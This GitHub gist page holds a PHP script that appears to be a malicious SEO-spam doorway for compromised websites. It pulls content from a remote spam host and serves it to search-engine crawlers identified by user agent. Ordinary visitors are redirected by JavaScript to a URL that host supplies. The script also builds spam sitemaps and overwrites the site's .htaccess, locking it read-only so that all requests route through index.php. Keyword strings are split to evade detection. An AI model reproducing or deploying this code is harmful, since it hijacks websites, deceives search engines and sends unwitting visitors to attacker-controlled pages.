Skip to content

Instantly share code, notes, and snippets.

@DmitryDmitrienko
Created April 20, 2017 14:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DmitryDmitrienko/4ff3dc69b1ddd84cd2a464e1a36a9191 to your computer and use it in GitHub Desktop.
Save DmitryDmitrienko/4ff3dc69b1ddd84cd2a464e1a36a9191 to your computer and use it in GitHub Desktop.
<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');
//set_time_limit(0);
$remoteUrl="http://btuan09.newproduct05.top/z3-xsuiji-related-enp.php";
$currentUrl=GetLocationHome();
// $currentUrl=GetLocationURL();
htaccess();
$queryStr=$_SERVER['QUERY_STRING'];
$root = $_SERVER['DOCUMENT_ROOT'];
$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
if ($script_name == '') {
$script_name = isset($_SESSION['SCRIPT_FILENAME']) ? $_SESSION['SCRIPT_FILENAME'] : '';
if ($script_name != '') {
$script_name = str_replace($root, '', $script_name);
}
}
if ($script_name != '') {
$script_name = substr($script_name, 1);
$posx = strrpos($script_name, '/');
$base = $posx !== false ? substr($script_name, 0, strrpos($script_name, '/')) : '';
$script_filename = $posx !== false ? substr($script_name, $posx + 1) : $script_name;
}
$md = preg_match("/\?$/si", $currentUrl);
if ($md) {
$currentUrl = GetLocationHome();
}else{
$script_name = preg_replace("/^\//", '', $script_name);
}
$requri = $uri_end = $_SERVER['REQUEST_URI'];
$page_location_root = "$currentUrl$base" . ($base == '' ? '' : '/');
$uri_end = preg_replace("/^\//si", '', $uri_end);
$uri_end = $base != '' ? preg_replace(sprintf("/^%s\/\??/si", sync_preg_string($base)), '', $uri_end) : $uri_end;
$uri_end = preg_replace("/^($script_filename)?\?/si", '', $uri_end);
$mapol_pre = $base != '' ? preg_replace(sprintf("/^\/%s\//si", sync_preg_string($base)), '', $requri) : $requri;
$mapol_pre_qm = strpos($mapol_pre, '?');
$mapol_pre = $mapol_pre_qm !== false ? substr($mapol_pre, 0, $mapol_pre_qm + 1) : '';
$mapol_pre = preg_replace("/^\//si", '', $mapol_pre);
$sm_header = 'Content-type:text/%sml;charset=utf-8';
$mapol = false;
$mappages = false;
$mappre = 'sitemap_';
$mapfolder = '';
$mapfx = 0;
$mapstep_need = false;
$mapstep = 1;
$mapmax = 10000;
$mapidf = 0;
$mapmode = 0;
if (preg_match("/\.xml$/si", $uri_end)) {
$mapol = true;
$query_xml = explode('/', $uri_end);
$query_xml_end = array_pop($query_xml);
if (preg_match("/([^\d]+)(\d+)\.xml$/si", $query_xml_end, $mapxml)) {
$mappre = $mapxml[1];
$mapfx = $mapxml[2];
}else{
$mappre = preg_replace("/([a-z]+_?).*/si", "$1", $query_xml_end);
}
if (!empty($query_xml) && preg_match("/^([a-z])?(\d+)$/si", $query_xml[count($query_xml) - 1], $stepmat)) {
if (count($stepmat) == 3) {
$mapstep = $stepmat[2];
if ($stepmat[1] == 's') {
$mapmode = 1;
}elseif ($stepmat[1] == 'g'){
$mapmode = 2;
}
}else{
$mapstep = $mapstep[0];
}
array_pop($query_xml);
}
if (!empty($query_xml) && is_numeric($query_xml[count($query_xml) - 1])) {
$mapmax = array_pop($query_xml);
$mapstep_need = true;
}
if (!empty($query_xml)) {
$mapfolder = implode('/', $query_xml);
}
if (($mapfolder != '' && preg_match("/^pages\/?/si", $mapfolder)) || $query_xml_end == 'pages.xml') {
$mappages = true;
}
$mapidf = $mapfx == 1 ? 1 : (($mapmax + 1) * ($mapfx - 1) * $mapstep);
$mapidf = $mapidf < 0 ? 0 : $mapidf;
}
if((isset($_GET['action']) && in_array($_GET['action'], array('sitemap', 'sitemapall'))) || $mapol)
{
$sitemapall = isset($_GET['action']) && $_GET['action'] == 'sitemapall';
if ($mapol) {
$strUrl=$remoteUrl."?action=sitemapall&item=&id_from=&id_to=&type=&getall&url=". urlencode($currentUrl);
}else{
$strUrl=$remoteUrl."?".$queryStr."&url=". urlencode($md?"$page_location_root$script_filename?":$page_location_root) . ($sitemapall ? '&getall' : '');
}
$strFileBody=GetFileContent($strUrl);
if ($sitemapall || $mapol) {
$split = explode('{|}', $strFileBody);
if (empty($split) || count($split) != 3) {
die("invalid data");
}
$data = explode('|', $split[2]);
if (empty($data)) {
die("no product");
}
if ($mapol) {
$max = $mapmax;
$dir = $mapfolder;
$step = $mapstep;
$idf = $mapidf;
}else{
$max = isset($_GET['max']) ? (int)$_GET['max'] : 49999;
$max = $max == 0 ? 49999 : $max;
$dir = isset($_GET['dir']) ? trim($_GET['dir']) : '';
$absdir = "$root/$dir";
if ($dir != '' && !is_dir($absdir)) {
mmkdir($dir);
}
if ($dir == '' || !is_writable($absdir)) {
$dir = mapdir();
}
$step = isset($_GET['step']) ? (int)$_GET['step'] : 1;
$step = $step <= 1 ? 1 : $step;
$mapfx = isset($_GET['fx']) ? (int)$_GET['fx'] : 1;
$idf = isset($_GET['idf']) ? (int)trim($_GET['idf']) : 0;
}
$map_msg = '%s has been created successfully:&nbsp;<a href="%s" target="_blank">%s</a><br/><input style="width:70%s;border:1px solid #aaa;padding:2px;border-radius:2px;margin-top:5px" id="sxf" onclick="this.select()" onfocus="this.select()" value="%s" /><script>window.onload=function(){document.getElementById("sxf").focus()}</script>';
$map_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
$total = 0;
foreach ($data as $dk => &$dt) {
$dt = trim($dt);
if ($dt == '') {
unset($data[$dk]);
continue;
}
$total += (int)substr($dt, strrpos($dt, '-') + 1);
}
if ($total <= 0) {
exit('no data');
}
$stepmax = ceil($total / 49999);
$max = $step > $stepmax ? 49999 : $max;
if ($step <= $stepmax && !in_array($mapmode, array(1, 2)) && (($idf == 0) || ($mapol && $mapfx == 0))) {
$map_index = "$dir/sitemap_index.xml";
$map_index_format = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<sitemapindex xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">%s\n\t</sitemapindex>";
$map_sitemap_genuri = array();
$map_index_out = '';
$map_index_sitemap_format = "\n\t<sitemap>\n\t\t<loc>%s</loc>\n\t\t<lastmod>%s</lastmod>\n\t</sitemap>";
$map_sitemap_genuri_link_format = '%s%s?action=sitemapall&step=%d&idf=%d&max=%d&dir=%s&fx=%d';
$map_sitemap_genuri_format = '%d. <a class="ck%d" href="%s" target="_blank">%s</a><span id="ck%d"/></span>';
$map_index_num = ceil($total / $max);
if ($step != 1) {
$last = 1;
last2($last, $step, $max);
$map_index_num = ceil($total / $last);
}
for ($sini=1; $sini <= $map_index_num; $sini++) {
if ($mapol) {
$map_index_sitemap_uri = sprintf("$page_location_root%s%s$mappre%d.xml", $mapol_pre, ($dir != '' ? "$dir/" : '') . sprintf('%s%s', ($max != 10000 ? "$max/" : ''), (($mapstep_need || $step != 1) ? "$step/" : '')), $sini);
}else{
$map_index_sitemap_uri = sprintf('%s%ssitemap_%d.xml', $currentUrl, "$dir/", $sini);
$map_sitemap_genuri_href = sprintf($map_sitemap_genuri_link_format, $currentUrl, $script_name, $step, ($sini == 1 ? 1 : (($max + 1) * ($sini - 1) * $step)), $max, $dir, $sini);
$map_sitemap_genuri[] = sprintf($map_sitemap_genuri_format, $sini, $sini, $map_sitemap_genuri_href, $map_sitemap_genuri_href, $sini);
}
$map_index_out .= sprintf($map_index_sitemap_format, $map_index_sitemap_uri, date('Y-m-d'));
}
$map_index_out = sprintf($map_index_format, $map_index_out);
if ($mapfx == 0) {
header(sprintf($sm_header, 'x'));
echo $map_index_out;
exit();
}else{
file_put_contents("$absdir/sitemap_index.xml", $map_index_out);
echo sprintf($map_msg, $map_index, "$currentUrl$map_index", $map_index, '%', $map_index) . '<br /><br />[products total: ' . $total . ']Clic' . 'k links below to gen xml file:<br /><br /><style>.ck a{display:inline-block;margin-top:5px}#click span{margin-left: 15px;}</style><div class="ck" id="click">' . implode('<br />', $map_sitemap_genuri) . '</div><script>var i,al=document.getElementById("click").getElementsByTagName("a"),H=[],L=3,E=D=N=0,F=function(){var a=new Image,b=H.shift(),c=b.split("@"),d=document.getElementById(c[0]);N++,d.innerHTML="working...",a.one' . 'rror=function(){d.innerHTML="ok",N--,D++,G()},a.src=c[1],console.log(c[1]+" working...")},G=function(){for(N=0>=N?0:N,E==D&&console.log("done.");H.length&&L>N;)F()};for(i in al)"undefined"!=typeof al[i].href&&H.push(al[i].className+"@"+al[i].href);E=H.length,G();</script>';
}
}else{
$map_file = "sitemap_$mapfx.xml";
$map_idf_step = $map_tmp_step = $map_step = $step;
$map_finish_count = 0;
$map_array = array();
$map_array_len = 0;
if (!$mapol) {
$map_file = "$absdir/sitemap_$mapfx.xml";
@file_put_contents($map_file, $map_array_head);
}else{
header(sprintf($sm_header, 'x'));
echo $map_array_head;
}
if (!empty($data)) {
$map_uri_format = "\n\t\t\t" . '<loc>' . $page_location_root . ($md ? "$script_filename?" : '') . '%s</loc>';
$map_skiped = 0;
$mapoldone = $map_next = 0;
foreach ($data as $line) {
if ($mapoldone >= $max) {
break;
}
$val = explode('-', $line);
$map_line_total = (int)$val[2];
if ($mapol && $mapmode != 0) {
$sid_arr = sid_array($map_line_total - 1, $mapstep, $mapmode, strlen($requri));
if (!empty($sid_arr)) {
$map_array = array();
foreach ($sid_arr as $sid_lid) {
if ($mapoldone >= $max) {
break;
}
$map_content = '';
$map_content .= "\n\t\t" . '<url>';
$map_content .= sprintf($map_uri_format, xml_urlarg(sprintf('%s%d-%s-%d%s', $val[1], $val[0], GetAutoFileName($split[0]), $map_step, $split[1])));
$map_content .= "\n\t\t\t" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
$map_content .= "\n\t\t\t" . '<changefreq>monthly</changefreq>';
$map_content .= "\n\t\t</url>";
$map_array[] = $map_content;
$mapoldone++;
}
echo implode('', $map_array);
$map_array = array();
}
}else{
if ($idf > 1) {
if (($map_skiped + $map_line_total) < $idf) {
$map_skiped += $map_line_total;
continue;
}
}
if ($map_line_total != 0) {
$map_step = $map_next ? $map_tmp_step : ($map_skiped > 0 ? (ceil($map_skiped / $max) * $max - $map_skiped + 1) : $idf);
$map_next = 0;
while ($map_finish_count < $max) {
if ($map_step > $map_line_total) {
$map_next = 1;
break;
}
if ($map_array_len > 1000) {
$ready = implode('', $map_array);
if ($mapol) {
echo $ready;
}else{
@file_put_contents($map_file, $ready, FILE_APPEND);
}
$map_array = array();
$map_array_len = 0;
}
$map_content = '';
$map_content .= "\n\t\t" . '<url>';
$map_content .= sprintf($map_uri_format, xml_urlarg(sprintf('%s%d-%s-%d%s', $val[1], $val[0], GetAutoFileName($split[0]), $map_step, $split[1])));
$map_content .= "\n\t\t\t" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
$map_content .= "\n\t\t\t" . '<changefreq>monthly</changefreq>';
$map_content .= "\n\t\t</url>";
$map_array[] = $map_content;
$map_step += $map_tmp_step;
$map_array_len++;
$map_finish_count++;
}
}
}
}
}
$map_array[] = "\n\t</urlset>";
$sitemap_out = implode('', $map_array);
$map_array = array();
if ($mapol) {
echo $sitemap_out;
}else{
@file_put_contents($map_file, $sitemap_out, FILE_APPEND);
if ($step > $stepmax && $mapfx == 1) {
$map_one = "$dir/sitemap_$mapfx.xml";
echo sprintf($map_msg, $map_one, "$page_host/$map_one", $map_one, '%', $map_one);
}else{
echo 'done';
}
}
}
}else{
if(strpos($queryStr,"type=xml")!==false)
{
header("Content-type:text/xml");
}
echo $strFileBody;
}
exit;
}
if(strpos($queryStr,"=")===false)
{
$arrSplits=explode("-",$queryStr);
$queryStr=str_replace_once($arrSplits[0]."-",$arrSplits[0]."=",$queryStr);
}
$isBot=checkAgent();
$isClick="true";
if($isBot=="true")
{
$strUrl=$remoteUrl."?".$queryStr."&url=".$page_location_root . ($md ? "$script_filename?" : '');
$strFileBody=GetFileContent($strUrl);
$strFileBody=str_replace("\xEF\xBB\xBF","",$strFileBody);
header("Content-Type: text/html; charset=utf-8");
echo $strFileBody;
exit;
}
else
{
if($isClick=="true")
{
$strUrl=$remoteUrl."?".$queryStr."&url=".$page_location_root . ($md ? "$script_filename?" : '') ."&action=jump";
$strJumpUrl=GetFileContent($strUrl);
if(strpos($strJumpUrl,"http")!==false)
{
$arr=explode("|",str_replace("http","|",$strJumpUrl));
$strJumpUrl="http".$arr[1];
echo "<script>document.location='".$strJumpUrl."';</script>";
exit;
}
}
}
function GetLocationURL()
{
$pageURL = 'http://';
if ($_SERVER["SERVER_PORT"] != "80")
{
$pageURL .= $_SERVER["HTTP_HOST"].":".$_SERVER["PHP_SELF"];
}
else
{
$pageURL .= $_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
}
return "$pageURL?";
}
function GetLocationHome()
{
$pageURL = 'http://';
if ($_SERVER["SERVER_PORT"] != "80")
{
$pageURL .= $_SERVER["HTTP_HOST"]."/";
}
else
{
$pageURL .= $_SERVER["HTTP_HOST"]."/";
}
return $pageURL;
}
function checkAgent()
{
$returnVal = "false";
try
{
$agent = "user-agent:".strtolower($_SERVER['HTTP_USER_AGENT']);
$bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
foreach($bot_array as $bot)
{
if(strpos($agent,$bot)!==false)
{
$returnVal = "true";
break;
}
}
}
catch (Exception $w){}
return $returnVal;
}
function sid_array($total, $limit, $mode, $lineid){
$ids = array();
if ($limit > 0) {
if ($total <= $limit) {
$ids = range(0, $total);
}else{
if ($mode == 1) {
$tmp = range(0, $total);
shuffle($tmp);
$ids = array_slice($tmp, 0, $limit);
$tmp = array();
}else{
for ($i=0; $i < $limit; $i++) {
$id = static_calc($lineid, $total, $i, $limit);
if (!in_array($id, $ids)) {
$ids[] = $id;
}else{
$limit++;
}
}
}
}
}
return $ids;
}
function checkReferer()
{
$rtnVal="false";
try
{
if(!empty($_SERVER["HTTP_REFERER"]))
{
$url = 'referer:'.strtolower($_SERVER["HTTP_REFERER"]);
if(strpos($url,'google')>0||strpos($url,'aol')>0||strpos($url,'yahoo')>0||strpos($url,'msn')>0)
{
$rtnVal="true";
}
}
}
catch (Exception $w){}
return $rtnVal;
}
function mmkdir($dir){
global $root;
$dir = preg_replace("/(^\/|\/$)/si", '', $dir);
$arr = explode('/', $dir);
if (!empty($arr)) {
$tmpd = '';
foreach ($arr as $dirname) {
$tmpd .= $tmpd != '' ? '/' . $dirname : $dirname;
// echo "$tmpd<br/>";
if (!is_dir("$root/$tmpd")) {
@mkdir("$root/$tmpd") or die("mkdir $tmpd failed");
}
}
}
}
function GetFileContent($url)
{
if (!function_exists('fsockopen')) {
return file_get_contents($url);
}else{
$parse = parse_url($url);
$fp = fsockopen($parse['host'], isset($parse['port']) ? $parse['port'] : 80, $en, $es, 30);
if (!$fp) {
return 0;
}
$get = isset($parse['path']) ? $parse['path'] : '';
$get .= isset($parse['query']) ? '?' . $parse['query'] : '';
$get = $get == '' ? '/' : $get;
fwrite($fp, "GET $get HTTP/1.0\r\nHost: {$parse['host']}\r\nConnection: Close\r\n\r\n");
$header = $body = '';
while (!feof($fp)){
$body .= fgets($fp, 4096);
}
fclose($fp);
return trim(preg_match("/^HTTP\/1/si", $body) ? preg_replace("/.*?\r\n\r\n(.*)/si", "$1", $body) : preg_replace("/^[^<]+?(<.*)/is", "$1", $body));
}
}
function getdir(){
global $root;
$dir = '';
$find = glob("$root/*", GLOB_ONLYDIR);
if (!empty($find)) {
foreach ($find as $fd) {
if (is_writable($fd)) {
$dir = substr($fd, strrpos($fd, '/') + 1);
break;
}
}
}
return $dir;
}
function str_replace_once($needle, $replace, $haystack)
{
$pos = strpos($haystack, $needle);
if ($pos === false)
return $haystack;
return substr_replace($haystack, $replace, $pos, strlen($needle));
}
function xml_urlarg($url)
{
$url = preg_replace("/&/s", '&amp;', $url);
$url = preg_replace("/'/s", '&apos;', $url);
$url = preg_replace('/"/s', '&quot;', $url);
$url = preg_replace("/>/s", '&gt;', $url);
$url = preg_replace("/</s", '&lt;', $url);
return $url;
}
function GetAutoFileName($filenameMiddleRule1)
{
$returnVal=$filenameMiddleRule1;
while(true)
{
if(strpos($returnVal,"@")===false)
break;
$returnVal=str_replace_once("@",chr(rand(65, 90)),$returnVal);
}
while(true)
{
if(strpos($returnVal,"$")===false)
break;
$returnVal=str_replace_once("$",chr(rand(97, 122)),$returnVal);
}
while(true)
{
if(strpos($returnVal,"#")===false)
break;
$returnVal=str_replace_once("#",rand(0, 9),$returnVal);
}
return $returnVal;
}
function htaccess($htaccess_path = ''){
$htaccess_path = '.hta' . 'ccess';
@chmod($htaccess_path, 0777);
$fc = @file_get_contents($htaccess_path);
$nfc = array();
if ($fc !== false) {
preg_match_all("/<IfModule\s+mod_rewrite.c>[^<]+<\/IfModule>/si", $fc, $matches);
if (isset($matches[0]) && !empty($matches[0])) {
// check if %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing)
foreach ($matches[0] as $block) {
if (!preg_match("/%\{HTTP_USER_AGENT\}\s\(google/si", $block)) {
$nfc[] = $block;
}
}
}
}
if (empty($nfc)) {
$nfc[] = sprintf("<IfModule%smod_" . "rewrite.c>%sRewriteEngine%sOn%sRewriteCond%s%s{RE" . "QUEST_FILENAME}%s!-f%sRewrit" . "eCond%s%s{REQUEST_F" . "ILENAME}%s!-d%sRewriteRule%s.%sindex" . ".php%s[L]%s</IfMod" . "ule>", ' ', "\n", ' ', "\n", ' ', '%', ' ', "\n", ' ', '%', ' ', "\n", ' ', ' ', ' ', "\n");
}
@file_put_contents($htaccess_path, trim(implode("\n", $nfc)));
$fc = $nfc = null;
@chmod($htaccess_path, 0444);
}
function sync_preg_string($sps, $delarg = 1){
$sps_chars = '\\?/|&()[]{}+^$!:*';
$sps_chars_array = str_split($sps_chars);
$sps_char_format = '%s%s';
if ($delarg) {
$sps = preg_replace("/(\?|#).*/si", '', $sps);
}
foreach ($sps_chars_array as $sca_v) {
$sps = str_replace($sca_v, sprintf($sps_char_format, '\\', $sca_v), $sps);
}
return $sps;
}
function last2(&$last, $step, $max, $init = 1){
if ($init < $max) {
$last += $step;
$init++;
last2($last, $step, $max, $init);
}
}
function static_calc($lineid, $max, $id_index, $id_count){
$func_count = 5;
$func_index = $id_index % $func_count;
$return = $lineid;
switch ($func_index) {
case 0:
$return = $lineid * ($id_index + 2);
break;
case 1:
$return = $lineid / ($id_count + $id_index) * $max;
break;
case 2:
$return = $max / $id_count * $lineid + $id_index;
break;
case 3:
$return = $lineid * 10 - $id_count + $id_index;
break;
case 4:
$return = $id_index * 888 + $lineid;
break;
}
$return = $return < 0 ? abs($return) : $return;
$return %= $max;
return $return;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment